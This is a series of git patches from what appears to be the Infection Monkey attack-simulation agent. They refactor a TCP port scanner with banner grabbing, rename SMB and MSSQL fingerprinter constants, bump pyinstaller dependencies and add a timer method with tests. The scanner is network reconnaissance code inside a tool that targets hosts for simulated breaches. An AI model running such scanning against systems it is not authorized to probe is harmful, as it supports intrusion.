+79,7 @@ def _query_mssql_for_instance_data(host: str) -> Optional[bytes]: def _get_services_from_server_data(data: bytes) -> Dict[str, Any]: services = {MSSQL_SERVICE: {}} - services[MSSQL_SERVICE]["display_name"] = MSSQL_SERVICE + services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT # Loop through the server data diff --git a/monkey/infection_monkey/network/smb_fingerprinter.py b/monkey/infection_monkey/network/smb_fingerprinter.py index 0d13a2d36..d47ce224e 100644 --- a/monkey/infection_monkey/network/smb_fingerprinter.py +++ b/monkey/infection_monkey/network/smb_fingerprinter.py @@ -13,7 +13,7 @@ from infection_monkey.i_puppet import ( PortStatus, ) -SMB_DISPLAY_NAME = "SMB" +DISPLAY_NAME = "SMB" SMB_PORT = 445 SMB_SERVICE = "tcp-445" @@ -145,7 +145,7 @@ class SMBFingerprinter(IFingerprinter): ) -> FingerprintData: services = {} smb_service = { - "display_name": SMB_DISPLAY_NAME, + "display_name": DISPLAY_NAME, "port": SMB_PORT, } os_type = None From 48dcd939e54c2c297f87b93aa9436322d24bc62c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 10 Feb 2022 12:39:10 +0100 Subject: [PATCH 0359/1110] Agent, Island: Bump pyinstaller to latest version --- monkey/infection_monkey/Pipfile | 3 +- monkey/infection_monkey/Pipfile.lock | 81 ++++++---------------------- monkey/monkey_island/Pipfile | 2 +- monkey/monkey_island/Pipfile.lock | 81 +++++++++------------------- 4 files changed, 43 insertions(+), 124 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 3b287a946..6ef8238ea 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,8 +5,7 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = "==4.2" -setuptools = "<=60.6.0" # https://github.com/pypa/setuptools/issues/3072 and https://github.com/pyinstaller/pyinstaller/issues/6564 +pyinstaller = "==4.6" impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index bc00423ec..11675e31d 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "90dbc7b9edaacc7324c3e1cc9ab1bd618dd62951216cf993225937b20f657779" + "sha256": "b864e9ef324253573e0f7816667f60dca54c9240995017b0db5fcd75caac1c81" }, "pipfile-spec": 6, "requires": { @@ -163,14 +163,6 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows'", - "version": "==0.4.4" - }, "constantly": { "hashes": [ "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", @@ -477,13 +469,6 @@ ], "version": "==1.7.4" }, - "pefile": { - "hashes": [ - "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" - ], - "markers": "sys_platform == 'win32'", - "version": "==2021.9.3" - }, "prompt-toolkit": { "hashes": [ "sha256:cb7dae7d2c59188c85a1d6c944fad19aded6a26bd9c8ae115a4e1c20eb90b713", @@ -609,10 +594,18 @@ }, "pyinstaller": { "hashes": [ - "sha256:f5c0eeb2aa663cce9a5404292c0195011fa500a6501c873a466b2e8cad3c950c" + "sha256:0fe1fdd6851663d378e85692709506d5d7c6dfc59105315ab78ba99dac689ca3", + "sha256:351bd218799f6253dd195c7c138b29eab96b4b1b805df2ed03f49c30343764c5", + "sha256:3ba0dc50f8951f3c9ab4536b452f8c126ff18ff8439aa77b7e0a1b81a18c7ccf", + "sha256:3bb837a925162518ec58f0b704c36b9c79b92f30df2fe083ddf63175de1eedcb", + "sha256:3ff8be1da3ee971c33d3ce072dcb499658206761e0d36c38d6b83acc838d2a78", + "sha256:72e3995ae182de2e37625a1debe1d0877a85039fe1fcda062891cfa07606072a", + "sha256:b67c9d2844b1a47c0a83dee879ba9fe8ca4f0f076483ab279cdec4a05be8510e", + "sha256:be2ae2aa554604eb467d02b7ac91f2f59d72a3f45ddfa2718c2e3ae9c850793c", + "sha256:c4b3976e6891f1b46ec8baecc8a9888fc71a92178a1ee67c7c5bcb35acf6990d" ], "index": "pypi", - "version": "==4.2" + "version": "==4.6" }, "pyinstaller-hooks-contrib": { "hashes": [ @@ -729,31 +722,6 @@ "markers": "python_version >= '3.6'", "version": "==0.3.1" }, - "pywin32": { - "hashes": [ - "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", - "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", - "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", - "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", - "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", - "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", - "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", - "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", - "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", - "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", - "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", - "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" - ], - "version": "==303" - }, - "pywin32-ctypes": { - "hashes": [ - "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", - "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" - ], - "markers": "sys_platform == 'win32'", - "version": "==0.2.0" - }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -771,11 +739,11 @@ }, "setuptools": { "hashes": [ - "sha256:c99207037c38984eae838c2fd986f39a9ddf4fabfe0fddd957e622d1d1dcdd05", - "sha256:eb83b1012ae6bf436901c2a2cee35d45b7260f31fd4b65fd1e50a9f99c11d7f8" + "sha256:43a5575eea6d3459789316e1596a3d2a0d215260cacf4189508112f35c9a145b", + "sha256:66b8598da112b8dc8cd941d54cf63ef91d3b50657b374457eda5851f3ff6a899" ], - "index": "pypi", - "version": "==60.6.0" + "markers": "python_version >= '3.7'", + "version": "==60.8.2" }, "six": { "hashes": [ @@ -804,24 +772,6 @@ "markers": "python_full_version >= '3.6.7'", "version": "==22.1.0" }, - "twisted-iocpsupport": { - "hashes": [ - "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", - "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", - "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", - "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", - "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", - "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", - "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", - "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", - "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", - "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", - "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", - "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" - ], - "markers": "platform_system == 'Windows'", - "version": "==1.0.2" - }, "typing-extensions": { "hashes": [ "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", @@ -881,7 +831,6 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index fc02c2f75..ba0a2f163 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -4,7 +4,7 @@ verify_ssl = true name = "pypi" [packages] -pyinstaller = "==3.6" +pyinstaller = "==4.8" bcrypt = "==3.2.0" boto3 = "==1.18.44" botocore = "==1.21.44" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 4733e8fb9..eea7649f1 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "a3718be25739d7397df87a723009b2ccb3fd67927cb5eb335c3937b4e60cdd60" + "sha256": "294a14211a1e3eef814e8957370641d9a6b5dc6da9e43a5d00ef2eb522e9d6cb" }, "pipfile-spec": 6, "requires": { @@ -149,14 +149,6 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows'", - "version": "==0.4.4" - }, "cryptography": { "hashes": [ "sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3", @@ -223,13 +215,6 @@ "index": "pypi", "version": "==0.3.9" }, - "future": { - "hashes": [ - "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.18.2" - }, "gevent": { "hashes": [ "sha256:0082d8a5d23c35812ce0e716a91ede597f6dd2c5ff508a02a998f73598c59397", @@ -505,13 +490,6 @@ "index": "pypi", "version": "==0.11.0" }, - "pefile": { - "hashes": [ - "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" - ], - "markers": "python_version >= '3.6'", - "version": "==2021.9.3" - }, "pyaescrypt": { "hashes": [ "sha256:a26731960fb24b80bd3c77dbff781cab20e77715906699837f73c9fcb2f44a57", @@ -570,10 +548,27 @@ }, "pyinstaller": { "hashes": [ - "sha256:3730fa80d088f8bb7084d32480eb87cbb4ddb64123363763cf8f2a1378c1c4b7" + "sha256:15d9266d78dc757c103962826e62bce1513825078160be580534ead2ef53087c", + "sha256:44783d58ac4cb0a74a4f2180da4dacbe6a7a013a62b3aa10be6082252e296954", + "sha256:4c848720a65a5bd41249bc804d1bd3dd089bb56aef7f1c5e11f774f11e649443", + "sha256:53ed05214dd67624756fe4e82e861857921a79d0392debf8c9f5bb0ba5a479b6", + "sha256:5c2fd5f18c0397f3d9160446035556afc7f6446fd88048887fdf46eadf85c5ec", + "sha256:6f5cdc39fbdec7b2e0c46cc0f5bd0071bb85e592e324bf4e15375c5ff19e55fc", + "sha256:7ae868bbcc502832a2c802c84a1dbb9f48b44445c50144c29bfcd7b760140e13", + "sha256:9fbb05f5f67862005234da8c7eac69ef87e086f90e345749260051b031774c52", + "sha256:b0b3a31aa60292469f9595f298e2c147cba29c30edcd92a38fdce27727809625", + "sha256:b720853a00bd9547b7d6403d85f23b7f7e451e41bc907673d9fc7f8d9d274594", + "sha256:f00e1296abac71f3b5bb9fdc2e0d4c079201d62faeeeb894ccadd0616179fee3" ], "index": "pypi", - "version": "==3.6" + "version": "==4.8" + }, + "pyinstaller-hooks-contrib": { + "hashes": [ + "sha256:29f0bd8fbb2ff6f2df60a0c147e5b5ad65ae5c1a982d90641a5f712de03fa161", + "sha256:61b667f51b2525377fae30793f38fd9752a08032c72b209effabf707c840cc38" + ], + "version": "==2022.0" }, "pyjwt": { "hashes": [ @@ -737,13 +732,6 @@ ], "version": "==2021.3" }, - "pywin32-ctypes": { - "hashes": [ - "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", - "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" - ], - "version": "==0.2.0" - }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -769,11 +757,11 @@ }, "setuptools": { "hashes": [ - "sha256:07e97e2f1e5607d240454e98c75c7004560ac8417ca5ae1dbaa50811cb6cc95c", - "sha256:23aad87cc27f4ae704079618c1d117a71bd43d41e355f0698c35f6b1c796d26c" + "sha256:43a5575eea6d3459789316e1596a3d2a0d215260cacf4189508112f35c9a145b", + "sha256:66b8598da112b8dc8cd941d54cf63ef91d3b50657b374457eda5851f3ff6a899" ], "markers": "python_version >= '3.7'", - "version": "==60.8.1" + "version": "==60.8.2" }, "six": { "hashes": [ @@ -894,14 +882,6 @@ ], "version": "==1.4.4" }, - "atomicwrites": { - "hashes": [ - "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", - "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" - ], - "markers": "sys_platform == 'win32'", - "version": "==1.4.0" - }, "attrs": { "hashes": [ "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", @@ -940,16 +920,7 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows'", - "version": "==0.4.4" - }, "coverage": { - "extras": [], "hashes": [ "sha256:1245ab82e8554fa88c4b2ab1e098ae051faac5af829efdcf2ce6b34dccd5567c", "sha256:1bc6d709939ff262fd1432f03f080c5042dc6508b6e0d3d20e61dd045456a1a0", @@ -1096,11 +1067,11 @@ }, "platformdirs": { "hashes": [ - "sha256:1d7385c7db91728b83efd0ca99a5afb296cab9d0ed8313a45ed8ba17967ecfca", - "sha256:440633ddfebcc36264232365d7840a970e75e1018d15b4327d11f91909045fda" + "sha256:30671902352e97b1eafd74ade8e4a694782bd3471685e78c32d0fdfd3aa7e7bb", + "sha256:8ec11dfba28ecc0715eb5fb0147a87b1bf325f349f3da9aab2cd6b50b96b692b" ], "markers": "python_version >= '3.7'", - "version": "==2.4.1" + "version": "==2.5.0" }, "pluggy": { "hashes": [ From 31fd24f0770ab8b43515ff28d299704f5ae7a6f3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Feb 2022 21:24:55 +0530 Subject: [PATCH 0360/1110] Agent: Address CR comments + minor changes in tcp_scanner.py --- .../infection_monkey/network/tcp_scanner.py | 47 ++++++++----------- 1 file changed, 20 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 3d3f66a14..84453cfa7 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -46,8 +46,9 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT :return: List of open ports. """ sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] - # CR: Don't use list comprehensions if you don't need a list - [s.setblocking(False) for s in sockets] + for s in sockets: + s.setblocking(False) + possible_ports = [] connected_ports_sockets = [] try: @@ -58,13 +59,10 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT connected_ports_sockets.append((port, sock)) possible_ports.append((port, sock)) continue - # BUG: I don't think a socket will ever connect successfully if this error is raised. - # From the documentation: "Resource temporarily unavailable... It is a nonfatal - # error, **and the operation should be retried later**." (emphasis mine). If the - # operation is not retried later, I don't see the point in appending this to - # possible_ports. - if err == 10035: # WSAEWOULDBLOCK is valid, see - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 + if err == 10035: # WSAEWOULDBLOCK is valid. + # https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect + # says, "Use the select function to determine the completion of the connection + # request by checking to see if the socket is writable," which is being done below. possible_ports.append((port, sock)) continue if err == 115: # EINPROGRESS 115 /* Operation now in progress */ @@ -74,15 +72,11 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT if len(possible_ports) != 0: timeout = int(round(timeout)) # clamp to integer, to avoid checking input - sockets_to_try = possible_ports[:] - # BUG: If any sockets were added to connected_ports_sockets on line 94, this would - # remove them. - connected_ports_sockets = [] + sockets_to_try = possible_ports.copy() while (timeout >= 0) and sockets_to_try: sock_objects = [s[1] for s in sockets_to_try] - # BUG: Since timeout is 0, this could block indefinitely - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + _, writeable_sockets, _ = select.select([], sock_objects, [], 0) for s in writeable_sockets: try: # actual test connected_ports_sockets.append((s.getpeername()[1], s)) @@ -97,6 +91,7 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) ) + banners = [] if len(connected_ports_sockets) != 0: readable_sockets, _, _ = select.select( @@ -104,20 +99,18 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT ) # read first BANNER_READ bytes. We ignore errors because service might not send a # decodable byte string. - # CR: Because of how black formats this, it is difficult to parse. Refactor to be - # easier to read. + for port, sock in connected_ports_sockets: + if sock in readable_sockets: + banners.append(sock.recv(BANNER_READ).decode(errors="ignore")) + else: + banners.append("") - # TODO: Rework the return of this function. Consider using dictionary - banners = [ - sock.recv(BANNER_READ).decode(errors="ignore") - if sock in readable_sockets - else "" - for port, sock in connected_ports_sockets - ] - pass # try to cleanup - # CR: Evaluate whether or not we should call shutdown() before close() on each socket. - [s[1].close() for s in possible_ports] + for s in possible_ports: + s[1].shutdown(socket.SHUT_RDWR) + s[1].close() + + # TODO: Rework the return of this function. Consider using dictionary return [port for port, sock in connected_ports_sockets], banners else: return [], [] From e981ead1500e58892a9317c07e456f13c01dc708 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 18:18:15 -0500 Subject: [PATCH 0361/1110] Agent: Add new time_remaining() method to Timer --- monkey/infection_monkey/utils/timer.py | 13 +++++++++- .../infection_monkey/utils/test_timer.py | 25 +++++++++++++++++++ 2 files changed, 37 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/timer.py b/monkey/infection_monkey/utils/timer.py index 366a10b20..597eb6020 100644 --- a/monkey/infection_monkey/utils/timer.py +++ b/monkey/infection_monkey/utils/timer.py @@ -25,7 +25,18 @@ class Timer: TIMEOUT_SEC, False otherwise :rtype: bool """ - return (time.time() - self._start_time) >= self._timeout_sec + return self.time_remaining == 0 + + @property + def time_remaining(self) -> float: + """ + Return the amount of time remaining until the timer expires. + :return: The number of seconds until the timer expires. If the timer is expired, this + function returns 0 (it will never return a negative number). + :rtype: float + """ + time_remaining = self._timeout_sec - (time.time() - self._start_time) + return time_remaining if time_remaining > 0 else 0 def reset(self): """ diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py index 5359b8c79..b5291cc0e 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py @@ -67,3 +67,28 @@ def test_timer_reset(start_time, set_current_time, timeout): set_current_time(start_time + (2 * timeout)) assert t.is_expired() + + +def test_time_remaining(start_time, set_current_time): + timeout = 5 + + t = Timer() + t.set(timeout) + + assert t.time_remaining == timeout + + set_current_time(start_time + 2) + assert t.time_remaining == 3 + + +def test_time_remaining_is_zero(start_time, set_current_time): + timeout = 5 + + t = Timer() + t.set(timeout) + + set_current_time(start_time + timeout) + assert t.time_remaining == 0 + + set_current_time(start_time + (2 * timeout)) + assert t.time_remaining == 0 From 0e7f171c4a1e1843883c8fcf60d7d590030baec3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 19:21:45 -0500 Subject: [PATCH 0362/1110] Agent: Use a Timer in _check_tcp_ports() to simplify logic --- monkey/infection_monkey/network/tcp_scanner.py | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 84453cfa7..9e69d9351 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,14 +1,12 @@ import logging import select import socket -import time from itertools import zip_longest from typing import Dict, List, Set from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service - -SLEEP_BETWEEN_POLL = 0.5 +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -71,21 +69,21 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT logger.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: - timeout = int(round(timeout)) # clamp to integer, to avoid checking input sockets_to_try = possible_ports.copy() - while (timeout >= 0) and sockets_to_try: + + timer = Timer() + timer.set(timeout) + + while (not timer.is_expired()) and sockets_to_try: sock_objects = [s[1] for s in sockets_to_try] - _, writeable_sockets, _ = select.select([], sock_objects, [], 0) + _, writeable_sockets, _ = select.select([], sock_objects, [], timer.time_remaining) for s in writeable_sockets: try: # actual test connected_ports_sockets.append((s.getpeername()[1], s)) except socket.error: # bad socket, select didn't filter it properly pass sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] - if sockets_to_try: - time.sleep(SLEEP_BETWEEN_POLL) - timeout -= SLEEP_BETWEEN_POLL logger.debug( "On host %s discovered the following ports %s" @@ -95,7 +93,7 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT banners = [] if len(connected_ports_sockets) != 0: readable_sockets, _, _ = select.select( - [s[1] for s in connected_ports_sockets], [], [], 0 + [s[1] for s in connected_ports_sockets], [], [], timer.time_remaining ) # read first BANNER_READ bytes. We ignore errors because service might not send a # decodable byte string. From eb1a322ff83607fcded8e67df6a46a220985f33e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 10 Feb 2022 15:37:00 +0530 Subject: [PATCH 0363/1110] Agent: Rework return value in _check_tcp_ports in tcp_scanner.py --- .../infection_monkey/network/tcp_scanner.py | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 9e69d9351..a8ec9751b 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -14,8 +14,10 @@ logger = logging.getLogger(__name__) def scan_tcp_ports(host: str, ports: List[int], timeout: float) -> Dict[int, PortScanData]: ports_scan = {} - open_ports, banners = _check_tcp_ports(host, ports, timeout) - open_ports = set(open_ports) + open_ports_data = _check_tcp_ports(host, ports, timeout) + + open_ports = set(open_ports_data["open_ports"]) + banners = open_ports_data["banners"] for port, banner in zip_longest(ports, banners, fillvalue=None): ports_scan[port] = _build_port_scan_data(port, open_ports, banner) @@ -35,14 +37,18 @@ def _get_closed_port_data(port: int) -> PortScanData: return PortScanData(port, PortStatus.CLOSED, None, None) -def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT): +def _check_tcp_ports( + ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT +) -> Dict[str, List]: """ Checks whether any of the given ports are open on a target IP. :param ip: IP of host to attack :param ports: List of ports to attack. Must not be empty. :param timeout: Amount of time to wait for connection - :return: List of open ports. + :return: Dict with list of open ports and list of banners. """ + open_ports_data = {"open_ports": [], "banners": []} + sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] for s in sockets: s.setblocking(False) @@ -108,11 +114,11 @@ def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT s[1].shutdown(socket.SHUT_RDWR) s[1].close() - # TODO: Rework the return of this function. Consider using dictionary - return [port for port, sock in connected_ports_sockets], banners - else: - return [], [] + open_ports_data["open_ports"] = [port for port, _ in connected_ports_sockets] + open_ports_data["banners"] = banners except socket.error as exc: logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) - return [], [] + + finally: + return open_ports_data From d3dd6ffeb0e3bc98cc46fa21430421cb2666983b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 09:13:09 -0500 Subject: [PATCH 0364/1110] Agent: Simplify logic in Timer.time_remaining --- monkey/infection_monkey/utils/timer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/timer.py b/monkey/infection_monkey/utils/timer.py index 597eb6020..2ed17d551 100644 --- a/monkey/infection_monkey/utils/timer.py +++ b/monkey/infection_monkey/utils/timer.py @@ -36,7 +36,7 @@ class Timer: :rtype: float """ time_remaining = self._timeout_sec - (time.time() - self._start_time) - return time_remaining if time_remaining > 0 else 0 + return max(time_remaining, 0) def reset(self): """ From a53b61175951dadcb3c8f018c01214e67435b46b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 09:32:14 -0500 Subject: [PATCH 0365/1110] Agent: Change _check_tcp_ports() to return Mapping[int, str] --- .../infection_monkey/network/tcp_scanner.py | 71 ++++++++++--------- 1 file changed, 36 insertions(+), 35 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index a8ec9751b..62af733e7 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,8 +1,7 @@ import logging import select import socket -from itertools import zip_longest -from typing import Dict, List, Set +from typing import Iterable, Mapping from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service @@ -11,26 +10,28 @@ from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) -def scan_tcp_ports(host: str, ports: List[int], timeout: float) -> Dict[int, PortScanData]: - ports_scan = {} +def scan_tcp_ports( + host: str, ports_to_scan: Iterable[int], timeout: float +) -> Mapping[int, PortScanData]: + open_ports = _check_tcp_ports(host, ports_to_scan, timeout) - open_ports_data = _check_tcp_ports(host, ports, timeout) - - open_ports = set(open_ports_data["open_ports"]) - banners = open_ports_data["banners"] - - for port, banner in zip_longest(ports, banners, fillvalue=None): - ports_scan[port] = _build_port_scan_data(port, open_ports, banner) - - return ports_scan + return _build_port_scan_data(ports_to_scan, open_ports) -def _build_port_scan_data(port: int, open_ports: Set[int], banner: str) -> PortScanData: - if port in open_ports: - service = tcp_port_to_service(port) - return PortScanData(port, PortStatus.OPEN, banner, service) - else: - return _get_closed_port_data(port) +def _build_port_scan_data( + ports_to_scan: Iterable[int], open_ports: Mapping[int, str] +) -> Mapping[int, PortScanData]: + port_scan_data = {} + for port in ports_to_scan: + if port in open_ports: + service = tcp_port_to_service(port) + banner = open_ports[port] + + port_scan_data[port] = PortScanData(port, PortStatus.OPEN, banner, service) + else: + port_scan_data[port] = _get_closed_port_data(port) + + return port_scan_data def _get_closed_port_data(port: int) -> PortScanData: @@ -38,26 +39,29 @@ def _get_closed_port_data(port: int) -> PortScanData: def _check_tcp_ports( - ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT -) -> Dict[str, List]: + ip: str, ports_to_scan: Iterable[int], timeout: float = DEFAULT_TIMEOUT +) -> Mapping[int, str]: """ Checks whether any of the given ports are open on a target IP. :param ip: IP of host to attack - :param ports: List of ports to attack. Must not be empty. + :param ports_to_scan: An iterable of ports to scan. Must not be empty. :param timeout: Amount of time to wait for connection - :return: Dict with list of open ports and list of banners. + :return: Mapping where the key is an open port and the value is the banner + :rtype: Mapping """ - open_ports_data = {"open_ports": [], "banners": []} - - sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] + sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports_to_scan))] for s in sockets: s.setblocking(False) possible_ports = [] connected_ports_sockets = [] + open_ports = {} + try: - logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) - for sock, port in zip(sockets, ports): + logger.debug( + "Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan)) + ) + for sock, port in 